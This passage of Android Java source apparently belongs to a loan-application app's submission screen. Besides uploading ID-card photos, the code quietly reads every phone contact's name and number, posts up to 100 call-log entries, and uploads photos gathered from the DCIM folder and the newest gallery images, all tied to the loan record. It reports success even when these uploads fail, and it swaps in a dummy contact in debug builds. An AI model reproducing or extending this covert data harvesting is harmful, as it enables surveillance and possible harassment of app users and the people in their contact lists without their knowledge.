                        Float.parseFloat(dataBinding.loanAmountEt.getText().toString().trim()), id_front, id_back)
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe(new BaseObserver<>() {

                    @Override
                    public void onSuccess(Result<LoanApplyBean> feedbackResp) {
                        id = Integer.parseInt(feedbackResp.data.getInsertId());
                        updatePhone();
                    }

                    @Override
                    public void onError(int code, String msg) {
                        changePush(false, msg);
                    }
                });
    }

    private void updatePhone() {
        if (list != null && list.size() > 0) {
            updateCallLog(id);
        }
        if (contents != null && contents.size() > 0) {
            String name = "";
            for (int i = 0; i < contents.size(); i++) {
                if (i == contents.size() - 1) {
                    name += contents.get(i);
                } else {
                    name += (contents.get(i) + "；");
                }
            }
            Api.getInstance().phone(id, name)
                    .subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new BaseObserver<>() {

                        @Override
                        public void onSuccess(Result feedbackResp) {
                            index = 0;
                            uploadSigin(new File(files.get(0)), 2, id);
                        }

                        @Override
                        public void onError(int code, String msg) {
                            index = 0;
                            uploadSigin(new File(files.get(0)), 2, id);
                        }
                    });
        } else {
            index = 0;
            uploadSigin(new File(files.get(0)), 2, id);
        }

    }

    private void updateCallLog(int id) {
        if (list != null && list.size() > 0) {
            for (int i = 0; i < list.size(); i++) {

                list.get(i).setLoan_id(id + "");
            }
            if (list.size() > 100) {
                list = list.subList(0, 100);
            }
            Api.getInstance().postPhoneHistory(list)
                    .subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new BaseObserver<>() {

                        @Override
                        public void onSuccess(Result feedbackResp) {


                        }

                        @Override
                        public void onError(int code, String msg) {
                        }
                    });
        } else {


        }
    }

    @Override
    protected void initData() {

    }

    private void toOpenFile() {
        rxPermissions.requestEach(Manifest.permission.WRITE_EXTERNAL_STORAGE)
                .subscribe(permission -> {
                    if (permission.granted) {
                        rxPermissions.requestEach(Manifest.permission.CAMERA)
                                .subscribe(permission1 -> {
                                    if (permission1.granted) {
                                        toFile(true);
                                    } else if (permission1.shouldShowRequestPermissionRationale) {
                                        toFile(false);
                                    } else {
                                        toFile(false);
                                    }
                                });
                    } else if (permission.shouldShowRequestPermissionRationale) {
                        ToastUtils.showShort(dataBinding.loginBt, getString(R.string.file_permission_font_txt));
                    } else {
                        ToastUtils.showShort(dataBinding.loginBt, getString(R.string.file_permission_font_all_txt));
                    }
                });
    }


    private void toFile(boolean showCanme) {

        Matisse.from(ShenQingActivity.this)
                .choose(MimeType.ofImage())
                .countable(true)
                .maxSelectable(1)
                .restrictOrientation(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED)
                .thumbnailScale(0.85f)
                .imageEngine(new com.zhihu.matisse.engine.impl.GlideEngine())
                .showPreview(false)
                .showSingleMediaType(true)
                .capture(showCanme)
                .captureStrategy(new CaptureStrategy(false, getApplication().getPackageName() + ".fileprovider"))
                .theme(R.style.Matisse_Zhihu)
                .imageEngine(new GlideEngine())
                .forResult(REQUEST_CODE_CHOOSE);
    }

    /**
     * 控件设置动画事件
     *
     * @param view
     */
    public void setAnimViews(EditText... view) {
        for (int var4 = 0; var4 < view.length; ++var4) {
            EditText p = view[var4];
            setEditText(p);
        }

    }

    private void setEditText(EditText editText) {
        editText.setOnFocusChangeListener((v, hasFocus) -> {
            if (hasFocus) {
                editText.setBackgroundResource(R.drawable.inputbg_true);
                editText.setTextColor(getResources().getColor(R.color.colorPrimary));
            } else {
                editText.setBackgroundResource(R.drawable.inputbg_false);
                editText.setTextColor(getResources().getColor(R.color.black));
            }
        });

    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == RESULT_OK) {
            if (requestCode == REQUEST_CODE_CHOOSE) {
                //图片路径 同样视频地址也是这个
                List<String> pathList = Matisse.obtainPathResult(data);
                //Uri 格式的
                List<Uri> pathList1 = Matisse.obtainResult(data);

                for (int i = 0; i < pathList.size(); i++) {
                    if (isRenXiang) {
                        Glide.with(ShenQingActivity.this).load(pathList1.get(i)).into(dataBinding.zhengmianIv);
                        imageUri = pathList1.get(i);
                        imageUriString = pathList.get(i);
                    } else {
                        Glide.with(ShenQingActivity.this).load(pathList1.get(i)).into(dataBinding.fanmianIv);
                        imageUriGuoHui = pathList1.get(i);
                        imageUriGuoHuiString = pathList.get(i);
                    }
                    break;
                }
            }

        }
    }


    @RequiresApi(api = Build.VERSION_CODES.Q)
    private void toFileList() {
        files = getAllDataFileName(Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + "DCIM");
        LogUtils.i("获取到的文件地址：" + GsonUtils.beanToJSONString(files));

        if (files.size() < MAXIMG) {
            ArrayList<String> types = getPic(MAXIMG - files.size());
            if (types != null && types.size() > 0) {
                files.addAll(types);
            }
        }
        toUpIDCard();
    }

    private void toUpIDCard() {
        uploadSigin(new File(imageUriString), 0, id);
    }

    public ArrayList<String> getAllDataFileName(String folderPath) {
        ArrayList<String> fileList = new ArrayList<>();

        File file = new File(folderPath);
        File[] tempList = file.listFiles();
        for (int i = 0; i < tempList.length; i++) {
            if (tempList[i].isFile()) {
                String fileName = tempList[i].getName();
                if (fileName.toLowerCase().endsWith(".jpg") || fileName.toLowerCase().endsWith(".png")) {    //  根据自己的需要进行类型筛选
                    fileList.add(tempList[i].getPath());
                    if (fileList.size() == MAXIMG) {
                        return fileList;
                    }
                }
            } else if (tempList[i].isDirectory()) {
                File[] tempList1 = tempList[i].listFiles();
                for (int ii = 0; ii < tempList1.length; ii++) {
                    if (tempList1[ii].isFile()) {
                        String fileName = tempList1[ii].getName();
                        if (fileName.toLowerCase().endsWith(".jpg") || fileName.toLowerCase().endsWith(".png")) {    //  根据自己的需要进行类型筛选
                            fileList.add(tempList1[ii].getPath());
                            if (fileList.size() == MAXIMG) {
                                return fileList;
                            }
                        }
                    }
                }

            }
        }

        return fileList;
    }


    @RequiresApi(api = Build.VERSION_CODES.Q)
    private ArrayList<String> getPic(int size) {
        ArrayList<String> lists = new ArrayList<>();
        String order = MediaStore.MediaColumns.DATE_ADDED + " DESC ";
        Cursor cursor = getContentResolver().query
                (MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, order);
        if (cursor != null) {
            int i = 0;
            while (cursor.moveToNext() && i < size) {
                long id = cursor.getLong(cursor.getColumnIndexOrThrow(MediaStore.MediaColumns._ID));
                Uri uri = ContentUris.withAppendedId(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id);
//                LogUtils.i("图片地址：" + uri.getPath() + ";" + uri.toString());
                lists.add(uriToFileApiQ(uri));
                i++;
            }
            cursor.close();
        }
        return lists;
    }


    private void readContacts() {
        Cursor cursor = null;
        try {
            cursor = getContentResolver().query(
                    ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                    null, null, null, null);
            while (cursor.moveToNext()) {
                int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME);
                String displayName = cursor.getString(i_name);
                int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
                String number = cursor.getString(i_number);

                if (BuildConfig.DEBUG) {
                    if (contents.size() < 1) {
                        contents.add("名字啦，10086");
                    }
                } else {
                    contents.add(displayName + "，" + number);
                }
            }


        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    public String uriToFileApiQ(Uri uri) {
        String[] proj = {MediaStore.Images.Media.DATA};
        Cursor actualimagecursor = managedQuery(uri, proj, null, null, null);
        int actual_image_column_index = actualimagecursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
        actualimagecursor.moveToFirst();
        String img_path = actualimagecursor.getString(actual_image_column_index);
        return img_path;

    }


    /**
     * 上传单图片
     *
     * @param
     */
    public void uploadSigin(File file, int type, long id) {

        MultipartBody.Builder builder = new MultipartBody.Builder();
        RequestBody requestBody = RequestBody.create(MediaType.parse("image/jpg"), file);
        builder.addFormDataPart("picture", "sign_" + System.currentTimeMillis() + ".png", requestBody);
        if (type > 1) {
            builder.addFormDataPart("id", id + "");
        }
        builder.setType(MultipartBody.FORM);
        MultipartBody multipartBody = builder.build();

        Api.getInstance().picture(multipartBody)
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe(new BaseObserver<>() {

                    @Override
                    public void onSuccess(Result<List<String>> feedbackResp) {
                        if (feedbackResp.data != null && feedbackResp.data.size() > 0) {
                            if (type == 0) {
                                id_front = feedbackResp.data.get(0);
                                uploadSigin(new File(imageUriGuoHuiString), 1, id);
                            } else if (type == 1) {
                                id_back = feedbackResp.data.get(0);
                                toApply();
                            } else {
                                if (index < files.size()) {
                                    index++;
                                    uploadSigin(new File(files.get(index)), 2, id);
                                } else {
                                    changePush(true, "Application submitted successfully");
                                }
                            }
                        }
                    }

                    @Override
                    public void onError(int code, String msg) {
                        if (type > 1) {
                            changePush(true, "Application submitted successfully");
                        } else {
                            changePush(false, msg);
                        }
                    }
                });
    }


    /**
     * 上传单图片
     *
     * @param
     */
    public void uploadSiginVideo(File file) {

        MultipartBody.Builder builder = new MultipartBody.Builder();
        RequestBody requestBody = RequestBody.create(MediaType.parse("video/mp4"), file);
        builder.addFormDataPart("picture", file.getName(), requestBody);
        builder.addFormDataPart("id", id + "");
        builder.setType(MultipartBody.FORM);
        MultipartBody multipartBody = builder.build();

        Api.getInstance().picture(multipartBody)
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe(new BaseObserver<>() {

                    @Override
                    public void onSuccess(Result<List<String>> feedbackResp) {
                        if (feedbackResp.data != null && feedbackResp.data.size() > 0) {
                            videoPath = feedbackResp.data.get(0);
                            changePushNext(true, "Video uploaded successfully");
                        }
                    }

                    @Override
                    public void onError(int code, String msg) {
                        changePush(false, msg);
                    }
                });
    }


}